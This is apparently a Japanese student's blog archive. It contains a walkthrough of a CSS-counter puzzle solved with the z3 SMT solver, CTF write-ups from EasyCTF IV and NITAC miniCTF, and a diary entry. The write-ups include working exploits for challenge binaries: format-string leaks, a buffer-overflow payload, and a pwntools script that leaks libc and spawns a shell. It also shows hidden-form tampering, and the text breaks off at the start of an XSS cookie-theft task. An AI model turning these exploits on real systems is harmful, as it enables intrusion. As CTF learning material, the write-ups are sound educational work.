Chocolate Cookie 解説
バレンタインの直前に思いついたので、チョコレートのパッケージに混入させてURL渡したりTwitterに投げてみたりしたんですが結局誰も解けなかった・解かなかったみたいです…難易度が高すぎただけなのか、はたまたエスパーだったのか…
CSSに関するクソクイズを出すッピ〜!!
— ←これで合格 (@sei0o) 2018年2月20日
コンリテ追試組もこれで満点٩(๑❛ᴗ❛๑)۶https://t.co/7QtobIQRuD
問題
http://o0i.es/chocolate に置いてあります。
想定解法
開発者ツールなどでページのHTMLを見てみます。
まず<div id='message'>
があり、<input type='checkbox'>
が7x7のマスを構成しています。
その後に<span>
が大量に配置されています。そしてその間に{
が1つ配置されています。
checkboxをオンにすると色が濃くなってチョコチップっぽくなります。
適当にオンオフしていくと下の文字が変化したりしなかったりします。
しかし、ここには<script>
が見当たりません。どのようにして<span>
の文字を変えているのでしょうか?また、Here's a chocolate cookie...
という文字列もHTMLファイルには記述されていません。どこから来ているのでしょうか?
ページタイトルに「CSS: Chocolate Sugoku Suki」とあることですし、CSSを見てみましょう。
style.css
とrules.css
を読み込んでいるようです。
まずは前者から。先頭にいきなりFLAGの形式が書かれています。FLAG{s.........}
ですね。
<div id='message'>
の内容もここから来ています。
CSSは--name: value
の形で変数を作ることができます。他のプロパティで参照するときはvar(--name)
のようにして参照します。#0099ff
などだいたい何でも入れられます。
:root { --message: "Here's a chocolate cookie for you, find FLAG" /* FLAG{s.................} */ "!"; --cacao: "C"; --ushio: "h"; --banana: "1"; } ... #message::after { content: var(--message); }
続きを見てみましょう。
span:first-of-type::after { content: counter(f, upper-alpha); } span:first-of-type+*::after { content: counter(v, upper-alpha); } span:first-of-type+*+*::after { content: counter(j, upper-alpha); } span:first-of-type+*+*+*::after { content: counter(y, upper-alpha); } ... span:first-of-type+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*::after { content: counter(e, lower-alpha) var(--banana); } ... span:first-of-type+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+*::after { content: '}'; }
span:first-of-type
でページ内の一番最初の<span>
を選択し、隣接セレクタ+
とユニバーサルセレクタ*
を組み合わせて次の要素を取っています。
span:first-of-type
なら1番目、span:first-of-type+*
なら2番目、span:first-of-type+*+*
なら3番目…という感じです。
そしてそれの::after
疑似要素・content
プロパティを使って何らかの文字を表示しています。実際に表示される文字はここで決定されるようです。
通常はcontent: "new!";
のように文字列を使用することが多いですが、ここではcounter()
を用いています。カウンタは、主に<li>
でリスト表記をするときに番号を自動で割り振るために使われるものです。MDNが詳しいです。
デモも置いておきます。
たとえば1番目ではf
カウンタの数値をupper-alpha
、つまりアルファベットの大文字にして表示しています。何も指定しない場合は数字が出力されます。
途中でvar()
を使ってはじめに定義した変数を表示している部分もあります。
これらを読んでいくと、<span>
で表示されるそれぞれの文字は以下のカウンタの値と固定値で出来上がることになります。'
で囲っているのが固定値です。
f v j y '{'(spanの間) g q(数値) h n l k(数値) c 'h'(--ushio) i o r 'C'(--cacao) p t d e '1'(--banana) s u(数値) '}'
fvjy{g.....}
のカウンタの値を先程のFLAG{s......}
と対応させることができればFLAGがわかるということです。
ゴールがわかったので、次にrules.css
を見てみましょう。
似たようなコードが繰り返されています。
input:nth-of-type(3):checked ~ input:nth-of-type(8):not(:checked) ~ input:nth-of-type(34):checked { counter-increment: h 3 g 1 r 3 f 1 k 2; } ...
input:nth-of-type(N)
でN番目のcheckboxを選択し、それぞれがON(:checked
)かOFFかでスタイル(もはやスタイルではない)を適用するか決めています。
~
はその要素以降の兄弟要素に対して適用されます。
この場合だと、「ONになっている3番目のcheckbox」の後ろに「OFFになっている8番目のcheckbox」があり、さらに後に「ONになっている34番目のcheckbox」がある場合に適用されます。
つまり、「3番目がON」かつ「8番目がOFF」かつ「34番目がON」ならば適用するという意味だとわかります(以降これをルールと呼びます)。
counter-increment
はその名の通りカウンタをインクリメントするのですが、後ろに数値を指定することで増加数を自由に変えられます。ここではh += 3, g += 1, r += 3, f += 1, k += 2
という感じです(カウンタの中身はあくまで数値で、表示するときにアルファベットにしているだけです)。
試しに問題ページで3,8,34番目を操作してみると変化がわかりやすいと思います。
このrules.css
のすべてのルールに合うようにすればFLAGが出てくるのでしょうか?
…答えはNOです。
もういくつか見てみると以下のinput:nth-of-type(2)
のように、互いに矛盾しているルールがあります。FLAG{s
という文字列にするために使うルールと使わないルールがあり、その組み合わせを求める必要があります。
input:nth-of-type(2):not(:checked) ~ input:nth-of-type(39):checked ~ input:nth-of-type(44):not(:checked) { counter-increment: n 3 s 3 f 1 d 3; } input:nth-of-type(2):checked ~ input:nth-of-type(6):checked ~ input:nth-of-type(16):not(:checked) { counter-increment: p 2 f 1 k 2 j 3; }
でもどうやって求めるのでしょうか?
全探索? O(249) = 562949953421312通りなので厳しいですね。
制約充足問題 で検索してみましょう! wikipediaを引用します。
制約充足問題(せいやくじゅうそくもんだい、英: Constraint satisfaction problem, CSP)は、複数の制約条件を満たすオブジェクトや状態を見つけるという数学の問題を指す
これの例としてよく挙げられるのは数独です。それぞれのマスを変数として、「ヨコの行・タテの列・3x3の正方形に1~9を1回ずつしか使えない」という制約を満たすような数字の入れ方を求める制約充足問題になります。
この数字を求める、つまり問題を解いてくれるスゴイものがSAT/SMTソルバと呼ばれるものです。
代表的なSATソルバにminisatがあります。SAT ソルバー 入門 がわかりやすいのでおすすめです。
ただ、SATソルバでは真偽の制約(aがtrue, bがfalse, かつcがfalse…)しか扱えないので直接扱うには大変な場合があります。対してSMTソルバは内部でSATソルバを呼び出しますが、整数の大小・「AならばB」などを制約として扱う構文を備えているのでSATよりもシンプルに書くことができます。
パズルをSugar制約ソルバーで解く も見てみると雰囲気がつかめると思います。
さて、それではこの問題にはどのような制約があるでしょうか?
- 3つすべてのcheckboxが条件を満たしてはじめて、ルールが有効になり、それに応じてそれぞれのカウンタに加算する
- 逆に、「ルールを使わないときは加算しない」「ルールで指定されていないカウンタには加算しない」(見落としがちです)
f v j y g
カウンタの値はそれぞれF L A G s
に対応する数値になる
この2つです。
1番目の制約は、たとえば以下のルールがあったとき
input:nth-of-type(2):not(:checked) ~ input:nth-of-type(39):checked ~ input:nth-of-type(44):not(:checked) { counter-increment: n 3 s 3 f 1 d 3; }
このように変換できます(擬似コードです)。
rule_satisfied ← not(input[2]) and input[39] and not(input[44]) if rule_satisfied then n += 3, s += 3, f += 1, d += 3, (それ以外) += 0 if not rule_satisfied then (すべてのカウンタ) += 0
…と言いたいところですが、SMTソルバはtrue/falseで表現される制約を解くためのものなので、n += 3
のように「変数に逐次値を足していってから比較する」ということができません。私もここで詰まり2日ほど考えた末「あとから全部まとめて和をとって比較する」ようにすればうまくいくことに気づきました。
具体的には以下のようにルールごとの増分を記録する配列を作り、制約をかけます(普通の代入とそっくりです)。
rule_satisfied ← not(input[2]) and input[39] and not(input[44]) if rule_satisfied then table[rule1][n] == 3, table[rule1][s] == 3, table[rule1][f] == 1, table[rule1][d] == 3, table[rule1][それ以外] == 0 if not rule_satisfied then table[rule1][すべてのカウンタ] == 0
そして、これを用いれば2番目の制約が表現できます。f
カウンタの値はそれぞれのルールでの増分の和になるので、table[rule1][f] + table[rule2][f] + table[rule3][f] ... table[ruleN][f]
として表現できます。
table[rule1][f] + table[rule2][f] + table[rule3][f] ... table[ruleN][f] == 'F' table[rule1][v] + table[rule2][v] + table[rule3][v] ... table[ruleN][v] == 'L' table[rule1][j] + table[rule2][j] + table[rule3][j] ... table[ruleN][j] == 'A' table[rule1][y] + table[rule2][y] + table[rule3][y] ... table[ruleN][y] == 'G' table[rule1][g] + table[rule2][g] + table[rule3][g] ... table[ruleN][g] == 's'
あとはこの2つをプログラムに落とし込むだけです!
私はz3というSMTソルバを使って解きました。GitHubにRubyでのコード例を載せています(あんまりきれいじゃないね…)。
実行するとFLAG{s
という文字が現れるようなルールの組み合わせと、それらを満たすcheckboxのオンオフ、計算されたFLAGが出力されます。
実際のページでやってみると…うまくできました! FLAG{s0rry4Ch3apCh0co1at3}
がFLAGです。
その他
- 最初のバージョンではルールの数が20しかなく、O(220)で組み合わせるルールの全探索が可能でした
- ルールを増やしたところ解が複数になってしまい削減できなかったため苦肉の策としてFLAGの1文字目を指定しました
- これのせいで全探索の計算量減っちゃうかも?誰かおしえて
- Xmas Contest 2017 I問題を解くために調べているときに思いつきました
- CSSはチューリング完全
EasyCTF IV write-up
EasyCTF IV にチームBiPhoneから出ました(一人だけど)。2056ptsで89位でした。
楽しかった。ハリネズミ本に載っているようなpwnがあったので同級生に投げていこうかな。
以下write-up。問題数多いので10ptsや30ptsの問題は大体略していますごめんなさい。
Substitute 50pts
easyctf{THIS_IS_AN_EASY_FLAG_TO_GUESS}
で通らず1日放置してから、HERE: EASYCTF{THIS_IS_AN_EASY_FLAG_TO_GUESS} USE CAPITAL LETTERS.
をまるごと投げたら通った。は?
sed
するよりもhttp://quipqiup.com に投げたほうが早い。
$ echo 'FI! XJWCYIUSINLIGH QGLE TAMC A XCU NSAO NID EPC WEN AXM JL EIEASSF HDIGM IN JEL JXOCXGJEF. EPJL JL ASLI EPC LCWIXM HDIYSCT CZCD TAMC NID CALFWEN. PCDC: CALFWEN{EPJL_JL_AX_CALF_NSAO_EI_OGCLL} GLC WAHJEAS SCEECDL.' | sed -e 's/F/y/g' -e 's/C/e/g' -e 's/L/s/g' -e 's/H/p/g' -e 's/W/c/g' -e 's/E/t/g' -e 's/N/f/g' -e 's/A/a/g' -e 's/P/h/g' -e 's/J/i/g' -e 's/I/o/g' -e 's/O/g/g' -e 's/G/u/g' -e 's/X/n/g' -e 's/S/l/g' -e 's/D/r/g' -e 's/U/w/g' -e 's/M/d/g' -e 's/Z/v/g' -e 's/T/m/g' -e 's/Y/b/g' -e 's/T/m/g' yo! nicebowlofsoup Qust made a new flag for the ctf and is totally proud of its ingenuity. this is also the second problem ever made for easyctf. here: easyctf{this_is_an_easy_flag_to_guess} use capital letters.
Soupreme Encoder 20pts
FLAG: hexit_mate_c17c5c159e1f0cb857f2
'68657869745f6d6174655f6331376335633135396531663063623835376632'.chars.each_slice(2) { |p, q| print (p+q).to_i(16).chr }
としていたが
['68657869745f6d6174655f6331376335633135396531663063623835376632'].pack("H*")
でよかった。
Intro: Reverse Engineering 30pts
もう1回暗号化するだけだが、Pythonの扱いに慣れない…
easyctf{char_by_char_67bdFD}
https://stackoverflow.com/questions/17615414/how-to-convert-binary-string-to-normal-string-in-python3
#!/usr/bin/env python3 import binascii key = "DbitqlPo" def mystery(s): r = "" for i, c in enumerate(s): r += chr(ord(c) ^ ((i * ord(key[i % len(key)])) % 256)) return binascii.hexlify(bytes(r, "utf-8")) expected = '6503c2a125c2a768c28672431a7bc28e131e19c39e23c3aa03c3aec28bc3aac397c29b04c394c3ae41' plain = mystery(binascii.unhexlify(expected).decode('utf-8')) print(binascii.unhexlify(plain).decode('utf-8'))
format 160pts
x64でのFSB。espが指す場所にそのまま積まれている。
user95405@shell:/problems/format$ ./format Enter your name: %p %p %p %p %p %p %lx %lx %lx Your name is: 0x400a5a 0x7f8a8ea9b780 0xe 0x7f8a8ecb8700 0xe (nil) 4625f35200000000 7025207025207025 2520702520702520 Enter your secret password (in hex) 4625f352 easyctf{p3sky_f0rm4t_s7uff}
Starman 1 80pts
ナップザックDP。
#include <iostream> #include <vector> #include <algorithm> using namespace std; int r[2018], w[2018]; int dp[2018][2018]; int main() { int N, W; cin >> N >> W; for (int i = 0; i < N; i++) cin >> r[i] >> w[i]; for (int i = 0; i < N; i++) { for (int k = 0; k <= W; k++) { if (k >= w[i]) { dp[i+1][k] = max(dp[i][k], dp[i][k - w[i]] + r[i]); } else { dp[i+1][k] = dp[i][k]; } } } cout << dp[N][W] << endl; return 0; }
Liar 70pts
デバッグ情報がついているバイナリとそのソースが渡されるが、それらはダミー。逆アセンブルすると全く異なる処理が行われていることがわかる。読んでRubyに書き換えると以下のようになる。
def encode number f = [ 0x65, 0x66, 0x7d, 0x6c, 0x7f, 0x57, 0x4c, 0x4a, 0x4b, 0x4b, 0x2f, 0x21, 0x38, 0x04, 0x15, 0x08, 0x03, 0x19, 0x59, 0xf1, 0xd3, 0xe7, 0xf5, 0xce, 0xf7, 0xcd, 0xd7, 0xd9, 0xe8, 0x94, 0xa0, 0xb0, 0x87, 0x8f, 0x9a, 0xca, 0x81 ] g = [] buf = number ^ 0x58eb29 0x25.times do |i| # <----- g[i] = 0xFF & ((buf * i) ^ f[i]) end g[0x25] = 0 g.each { |x| print x.to_s(16) + ' ' } puts g.map(&:chr).join end encode gets.to_i
出力される文字はeasyctf{
なので、<---
で示したループにおいてi=1
のとき0xFF & ((number ^ 0x58eb29) ^ 0x66) = g[1] = 'a' = 0x61
になればよい。
XORをとるとnumber
は5827374とわかるので入力に与えるとFLAGが出る。
$ ruby exploit.rb 5827374 65 61 73 79 63 74 66 7b 73 74 69 6c 6c 5f 77 61 73 6e 27 74 5f 74 6f 6f 5f 62 61 64 2c 5f 72 69 67 68 74 3f 7d 0 easyctf{still_wasn't_too_bad,_right?}
Adder 80pts
radare2で見るとC++っぽいメソッド名がたくさん。
3つの数字を受け取って、その和が0x539 = 1337
になればFLAGを表示する。
~/c/e/adder $ ./adder Enter three numbers! 1337 0 0 easyctf{y0u_added_thr33_nums!}
Keyed Xor 100pts
案外苦戦した。
大量の単語が改行区切りで入ったwords.txt
から2単語選び連結した文字列と暗号文keyed_xor.txt
のXORを取るとFLAGが出るらしい。
words.txt
は20538行あるので、すべての組み合わせを試そうとすると20538 * 20537通りなので終わらない。
いろいろ悩んだ末、復号した平文がeasyctf{
で始まっていると仮定して暗号文とXORをとり、鍵を逆算してみた。
すると鍵がaggravat
で始まっていることがわかる。
$ xxd keyed_xor.txt 00000000: 0406 140b 0202 070f 0308 1217 030f 140b ................ 00000010: 0718 0e15 070b 0615 121a 1906 000b 011c ................ 00000020: 151b 181d 0016 091f 0a17 1e08 0811 1612 ................ 00000030: 1009 0200 090d 040b 0c13 0e1b 0f09 1211 ................ 00000040: 131a 1719 1d16 111d 1517 08 ........... $ irb irb(main):002:0> (0x04 ^ 'e'.ord).chr => "a" irb(main):003:0> (0x06 ^ 'a'.ord).chr => "g" irb(main):004:0> (0x14 ^ 's'.ord).chr => "g" irb(main):005:0> (0x0b ^ 'y'.ord).chr => "r" irb(main):006:0> (0x02 ^ 'c'.ord).chr => "a" irb(main):007:0> (0x02 ^ 't'.ord).chr => "v" irb(main):008:0> (0x07 ^ 'f'.ord).chr => "a" irb(main):009:0> (0x0f ^ '{'.ord).chr => "t"
aggravat
で始まる単語は5つしかないので、5 * 20537通りとなり全探索できるようになる。
encrypted = File.binread('keyed_xor.txt').bytes ['aggravated', 'aggravation', 'aggravating', 'aggravate', 'aggravations'].each do |a| File.read('words.txt').split("\n").each do |b| decrypted = '' key = a + b encrypted.each_with_index do |ch, i| decrypted += (key[i % key.size].ord ^ ch.ord).chr end puts decrypted end end
Digging for Soup 150pts
2つあったDNSの問題の一つ。キャッシュサーバが権威サーバからゾーン情報を取得するのに使われるゾーン転送要求・AXFRというものを使う。寮内のLANからはdigができないのでhttp://digwebinterface.com/を使った。
EzReverse 140pts
実行すると自身を削除してしまうので、逆アセンブルして読む。これぐらいの小さなアセンブリでも普通に1時間弱溶けてしまうので早く慣れたいなあ。
コマンドライン引数の文字をABCDE
として表すと、以下のような式が成り立つときにFLAGを表示する。
4 + D = 'o' 4 + D + 0xe = 3 + C 1 + A = 5 + E - 10 2 + B = '5' 3 + 4 + D = 5 + E
あてはまる文字列はg3zkm
になる。
$ ./executable g3zkm Now here is your flag: 10453125111114
rop1 120pts
バッファオーバフローでget_flag()
にリターンさせる。これぐらいはラクラク解けるようになってきた。
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> void get_flag() { system("/bin/cat flag.txt"); } void get_input() { char inp[64]; gets(inp); printf("You said: %s\n", inp); } int main(int argc, char** argv) { gid_t gid = getegid(); setresgid(gid,gid,gid); get_input(); return 0; }
get_flag()
は0x400646
にある。
$ python -c 'print("\x00" * 72 + "\x46\x06\x40\x00")' | ./rop1 You said: easyctf{r0ps_and_h0ps} Segmentation fault (core dumped)
Little Language 250pts
何故解けたかさっぱりわからない。
自分がこれを解いたのは全チームのなかで5,6番目だったのだが、Discordで「解法を交換しないか」とb0bb3rという参加者からメッセージが送られてきた。どのチームかはわからないが酷い。
次のような数式っぽい画像encrypted
と、BNFのようなテキストが添付される。この2つをもとパスワードをゲットしてログインする。
S : E { ExpS $1 } | global var '=' E { GlobalVarS $2 $4 }
REDACTED
として除去されていた画像中のpasswordはl7&4C&Cg
なようだ。
$ strings password .... note: the password is l7&4C&Cg
与えられたアドレスとポートに接続すると、対話型の画面が出る。
> 3 + 5 8 > ghiehut4 Lexなんとか Error
おそらくここからログインするのだろうが、さっぱりわからないので添付されたテキストファイルを見てみる。
ExpS
はおそらくExpression, 式のことで、GlobalVarS
はグローバル変数ではないかと思った。$2
は左側のvar
の位置に入力された文字列が入り、$4
には左側にあるE
(式)の評価結果が入ると推測して入力してみる。
> global username = root .... > global password = l7&4C&Cg .... > username root
どうやら推測が当たったようだ。そして最後のログインもいろいろエスパーしたらなんか出てきた。
> login (エラー) > login username password (エラー) > signin (エラー) .... > flag EasyCTF{5m4ll_573p_53m4n71c5_4r3_fun_r16h7?}
実は上の数式のようなものは、「small-step semantics」といって、計算機科学の分野では一般的なものらしい。
http://proofcafe.org/sf/Smallstep_J.html ここに説明が書いてあるので後で読んでみたい。
2/18
一日中若干頭と目元が痛かった。モニタの見すぎと文字(制御文字含め)の見すぎのダブルパンチ。でも気分はよかった。
Scrapboxにメモしていた興味のある事柄を整理整頓した。
パタヘネというあだ名がついているコンピューターの構成と設計 という本を見つけた。有名な本で大学でも利用されているらしい。
府立図書館に入っていたので春休みに借りてみたい(その前にリバースエンジニアリングバイブル最後まで読み切りたい…
15:00ぐらいまで暗号のPDFを読んでいた。30ページ進んだ。RSA暗号の仕組みを理解できた(説明しろと言われると難しいので、やっぱりまだかな)。
Cryptoはこわくて敬遠してたけどなるべくできるようになっておいたほうが良いと思う。
剰余環、有理体などという難しそうな話もあったが、ちょっとずつ読めばなんとなくわかった。足す引く掛ける演算に渡す引数と返り値が同じタイプの数(たとえば整数)のときそのタイプを環と考えたり、剰余では独特な逆数(=逆元??)と割り算を考えて環から体というものに持ち込んだりする考え方が新鮮だった。
RSAを知った当初は「どうやったらこんなのを思いつくんだ??」と不思議だったけれど、ElGamal暗号とか数学の世界で剰余環においてのべき乗の一方向性などが研究されていたのがベースにあったと知り偶然ではないんだなぁと。
例の「ハンバーガーメニューみたいな等号」は合同式という名前がついていると知ったので、 NITAC miniCTF で出題されたけど解かなかったRSAの入門の問題を解いた(素数p,q, 公開鍵N, eが与えられ、de ≡ 1 (mod (p-1)(q-1))
Dec(c) = c^d mod n
に当てはめるだけだがそのときはわからなかった)。
Pythonでの例が示されていたが、Pythonは嫌いなのでRubyでOpenSSL::BN
を使った。標準のInteger(Bignum)
では無理だった。
RSAやSHA256という名前こそセキュスペを取るときやWebサービスを作るときに覚えたものの、内部の仕組みまで把握していなかったので面白いし、言及している内容もセキュスペとかぶる部分があるので頭に入ってくる。
なんとなく部屋の中に文字が多すぎる気がしたので本棚の本を前後反対にして背表紙の文字が見えないようにした。特になにも変わらなかった。
EasyCTFを進めていこうとしたが、なかなかもう解ける問題がない。かんたんな問題を3つほど通して80位ぐらい。せめて2桁には残りたい。
300 Solvedなのにわからない問題が…何かを見落としているのだろうか。
暗号の知識を早速使ってみようとするもののわからない…write-up待つだけになりそうw
今日は明石高専の学力入試だったので、なんとなく「明石高専 寮 生活」とかで検索してみるとかなり上の方にたのしい潮寮生活が来ていた。ちょっとうれしい。
新入生の何人かがこれを読んでいる可能性も十分にある。学内表彰をもらっても良いのでは?(適当)
明日も休み うれしい
31C3 CTF 「cfy」
pwn問題集easyより。
FunnyBusiness と同じぐらいの難易度に感じた。眠くてよくわからなくなってwrite-upを開いたけど単純だったのでもうちょっと粘ればよかったなあ...
概要
動かすと、0)
~3)
のオプションが提示されて適当に打つとhexと10進数を変換してくれるプログラム。
parse from pointer
はよくわからなかった。
入力された0~3の値を4bit左シフト(=16倍)してからobj.parsers = 0x601080
に足し、処理内容を変えているのがわかる。(obj.buf = 0x6010e0
にはPlease enter your number:
での入力が入っていて、call rax
の際の第一引数になる)
shl rax, 4 add rax, obj.parsers mov rax, qword [rax] mov edi, obj.buf call rax
だが、ここでは入力チェックが欠けていて、-2
とか100
などの入力も受けつけてしまいSIGSEGVを起こす。
値を16倍しているので、たとえば-3
だと48バイト前に書かれているアドレスをcallする。
obj.parsers
周辺を見てみると、printf
やobj.buf
もcallできることがわかる。
0x00601000 280e 6000 0000 0000 0000 0000 0000 0000 ; .got.plt領域 0x00601010 0000 0000 0000 0000 d605 4000 0000 0000 0x00601020 e605 4000 0000 0000 f605 4000 0000 0000 ; 0x4005e6 -> printf, オプション -6) !? 0x00601030 0606 4000 0000 0000 1606 4000 0000 0000 ; 0x400606 -> fgets 0x00601040 2606 4000 0000 0000 3606 4000 0000 0000 0x00601050 4606 4000 0000 0000 0000 0000 0000 0000 0x00601060 0000 0000 0000 0000 0000 0000 0000 0000 ; .data領域 0x00601070 0000 0000 0000 0000 0000 0000 0000 0000 0x00601080 3d07 4000 0000 0000 b409 4000 0000 0000 ; obj.parsers, オプション 0) -> 0x40073d 0x00601090 6107 4000 0000 0000 c309 4000 0000 0000 ; オプション 1) -> 0x400761 0x006010a0 8507 4000 0000 0000 d209 4000 0000 0000 ; オプション 2) -> 0x400785 0x006010b0 0000 0000 0000 0000 0000 0000 0000 0000 0x006010c0 0000 0000 0000 0000 0000 0000 0000 0000 ; .bss領域 0x006010d0 0000 0000 0000 0000 0000 0000 0000 0000 0x006010e0 0000 0000 0000 0000 0000 0000 0000 0000 ; obj.buf = 0x6010e0, オプション 6) !? 0x006010f0 0000 0000 0000 0000 0000 0000 0000 0000 0x00601100 0000 0000 0000 0000 0000 0000 0000 0000 0x00601110 0000 0000 0000 0000 0000 0000 0000 0000
printf
でリークができないか試してみる。上より、-6
を入れてやればcallできた。
$ ./cfy What do you want to do? 0) parse from hex 1) parse from dec 2) parse from pointer 3) quit -6 Please enter your number: AAAA %p %p %p %p %p | %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p AAAA 0x7f3165b79890 0x6010e0 0xfbad2288 0x24fc6d5 0x7f3165d634c0 | 0xfffffffa15031280 0x11 0x400930 0x7f31657be1c1 (nil) 0x7ffd15031288 0x100000000 0x40080c (nil) 0x41778c36290b7836 0x400650 0x7ffd15031280 (nil) (nil) 0xbe8da6b0180b7836 0xbf154641f9997836 (nil) (nil) (nil) 0x1 0x40080c 0x4009a0 (nil) (nil) 0x400650 0x7ffd15031280 dec: 333 hex: 0x14d
9番目の%p
で出力されている0x7f31657be1c1
はmain
関数のリターンアドレスで、__libc_start_main
にリターンする。
vmmap
でlibcのベースアドレスは0x7ffff79f5000
となったので、オフセットは0x211c1
。
$ rax2 -k '0x7ffff7a161c1-0x7ffff79f5000' 0x211c1
libcのベースアドレスがわかるので、system
(オフセットは0x47dc0
)のアドレスを計算したあと、それを呼び出したい。
上に書いたとおりobj.buf
に書かれたアドレスもcallできるので、これを利用する。
まず1回目でobj.buf
の領域にsystem
のアドレスを書き込んだあと、2回目で/bin/sh
を引数として渡すと同時にcallする。
ここで注意すべきなのが、1回目でobj.buf
に書き込んでも2回目で/bin/sh
という7byte分は上書きされるということ。なので、system
のアドレスは16byte後ろにずらして書き込む(オプションの数字も1つ増やす)。
Exploit
from pwn import * c = remote('localhost', 62000) libc_start_main_offset = 0x211c1 system_offset = 0x47dc0 # leak libc's address c.recv(1024) c.send("-6\n") c.recv(1024) c.send("%9$lx\n") libc_base = int(c.recv(12), 16) - libc_start_main_offset log.info(hex(libc_base)) system_addr = libc_base + system_offset # write system's address c.recv(1024) c.send("1\n") payload = p64(0) payload += p64(0) # padding for string '/bin/sh' payload += p64(system_addr) payload += "\n" c.recv(1024) c.send(payload) # pass '/bin/sh' & call system c.recv(1024) c.send("7\n") # 6 -> obj.buf, 7 -> obj.buf + 0x10 c.recv(1024) c.send("/bin/sh\n") time.sleep(0.3) c.interactive()
Xmas Contest 2017 I - SAT Puzzle を z3 を使って解いた
Xmas Contest 2017のI - SAT Puzzleのパズルをz3というSMTソルバを使って解いてみた。
あとでminisatが解釈できるDIMACS CNFを出力するようにして実際にジャッジにも出してみたい。
参考にしたのはここ。
Xmas Contest 2017 I問題 SAT Puzzle 解説
SAT ソルバー 入門 JOI春合宿のスライド。
パズルをSugar制約ソルバーで解く
z3は単なるソルバなので、そのソルバを使う言語は自由に選べる。z3 gemがあったのでRubyで書いた。
隣接の判定を8方向で行ってたりいろいろ間違えたりして5時間ぐらいかかった…
exampleを見てなんとなくで書いているのでもっとスマートに書けるかも。
require 'z3' class PuzzleSolver def initialize board @board = board @data = [] @constraints = [] @solver = Z3::Solver.new end def solve @data = (0...6).map do |y| (0...6).map do |x| make_cell x, y, @board[y][x] end end 6.times do |y| 6.times do |x| make_constraints_connectivity x, y end end make_constraints_unique if @solver.satisfiable? m = @solver.model @data.each do |row| puts row.map {|k| m[k[:c]].to_i == 1 ? 'x' : '.' }.join end else puts 'could not solve' end end def make_cell x, y, isblack c = Z3.Int "cell(#{x}, #{y})" g = [] 4.times do |i| g[i] = Z3.Int "group#{i}(#{x}, #{y})" @solver.assert 0 <= g[i] @solver.assert g[i] <= 4 end @solver.assert Z3.Or(c == 0, c == 1) @solver.assert c == 1 if isblack # c, g1~g4から1つ以上が真で、2つ以上は同時に真にならない => ちょうど一つが真 @solver.assert Z3.Or(g[0] > 0, g[1] > 0, g[2] > 0, g[3] > 0, c == 1) [c, *g].combination(2) do |a, b| @solver.assert Z3.Or(a == 0, b == 0) end {c: c, g: g} end def make_constraints_unique 4.times do |group| # for group0, 1, 2, 3 group_ints = @data.map do |row| row.map { |d| d[:g][group] } end.flatten 1.upto(4) do |node_num| # group_intsのどれかがそれぞれノード番号1,2,3,4になる @solver.assert Z3.Or(*group_ints.map { |gi| gi == node_num }) group_ints.combination(2) do |a, b| @solver.assert Z3.Or(a != node_num, b != node_num) end end end end def make_constraints_connectivity x, y 4.times do |group| g = @data[y][x][:g][group] # 連結(ノード番号1を根とする有向木のように考えて、ノードの番号が2以上のときは自分より小さい番号のノートを隣に置く) r = adjacent(x, y).map do |nx, ny| Z3.And(@data[ny][nx][:g][group] > 0, @data[ny][nx][:g][group] < g) end @solver.assert Z3.Implies(g > 1, Z3.Or(*r)) # 異なるグループのマスが隣接しない r = adjacent(x, y).map do |nx, ny| ([0, 1, 2, 3] - [group]).map { |other_group| @data[ny][nx][:g][other_group] == 0 } end @solver.assert Z3.Implies(g > 0, Z3.And(*r.flatten)) # r = adjacent(x, y).map do |nx, ny| # @data[ny][nx][:g4] > g4 # end # @solver.assert Z3.Implies(g4 > 0, Z3.Or(*r)) # g4 == 4 のときに不可能 end end def adjacent x, y r = [] r << [x-1, y ] if x > 0 r << [x , y-1] if y > 0 r << [x , y+1] if y < 5 r << [x+1, y ] if x < 5 r end end board = ' ...... ...x.. ..x..x x..x.. ....xx x.x..x ' board = board.split(' ').map { |line| line.chars.map { |ch| ch == 'x' } } solver = PuzzleSolver.new board solver.solve
$ ruby solve_by_z3.rb x...x. .x.x.. ..xx.x x.xxxx xx..xx xxx..x
NITAC miniCTFに参加した
2/4, 明石高専で開かれたminiCTFに参加しました。
personal-development名義でチームSMAPとして出て、個人1050点/チーム1950点で1位でした。
WebとCryptoに弱いのをなんとかしたい。
#nitac_mini_ctf
— ←これで合格 (@sei0o) 2018年2月4日
チームSMAPのpersonal-developmentとして出てチーム個人共に1位でした!!!
これからもPDアンチとして精進します🔥 pic.twitter.com/7aDAqUFZcs
以下write-up。#nitac_mini_ctf お疲れ様でした!! pic.twitter.com/4zv010SSCG
— Akashi_SN (@Akashi_SN) 2018年2月4日
Checkcoin
500億円程度流失していそうな問題名。
ユーザは1000NEM持っていて、FLAGを見るには10000NEM必要らしい。
また、Johnプロに募金ができるページが用意されている。ボタンを押すと書かれた数だけNEMが減っていく。
ソースを見るとこんな感じ(記憶から再現)なので、amount
のvalue
を-10000
にするとNEMが加算されるようになり、無事FLAGを入手できる。
<input type="hidden" name="amount" value="5"> <input type="submit" value="5 nem">
Where flag?
gitを使った問題。
たまたまGitの配管コマンドについての記事を読んでいたのでこれを使った。
含まれているflag.txt
は偽物。
$ cat flag.txt NITAC{This_is_un!not_flag}
git log
するも、嘘のフラグに書き換えた記録しかない。
$ git log --oneline e0168bf (HEAD -> master) Change to lie flag 0001fda add tmp_flag
本番ではなんかいろいろウワーッとやったので覚えていない。
reflog
を使えばChange to real flag
からreset
で履歴が書き換えられたことが確認できるらしい。
$ git reflog e0168bf (HEAD -> master) HEAD@{0}: commit: Change to lie flag 0001fda HEAD@{1}: reset: moving to 0001fda371ae32ee3f987f2ff63129ef647381a5 167eff1 HEAD@{2}: commit: Change to real flag 0001fda HEAD@{3}: commit (initial): add tmp_flag
そこからは配管コマンドを使って、
$ git ls-tree 167e 100644 blob fa348447eb8e23bbf88da4521d3c4961abd91cdf flag.txt $ git cat-file blob fa34 NITAC{You_can_change_the_past}
Basic!
.pcap
が渡される。http
で絞りこんであげると、Basic認証のパケットがある。
http://10.0.0.111/
にアクセスし、ID,PWをhoge
, M2Fuchagam#q
と入力するとFLAGにアクセスできる。
7ch
「adminのcookieを盗め」という問題。
自分「SQLi〜〜うーん、無理!w」
運営「Demand Administrator
のフォームにXSSの脆弱性があるよ〜」
自分「(Googleを開く)」
python -m http.server
で適当にサーバを立ち上げたあと、<input>
のmaxlength
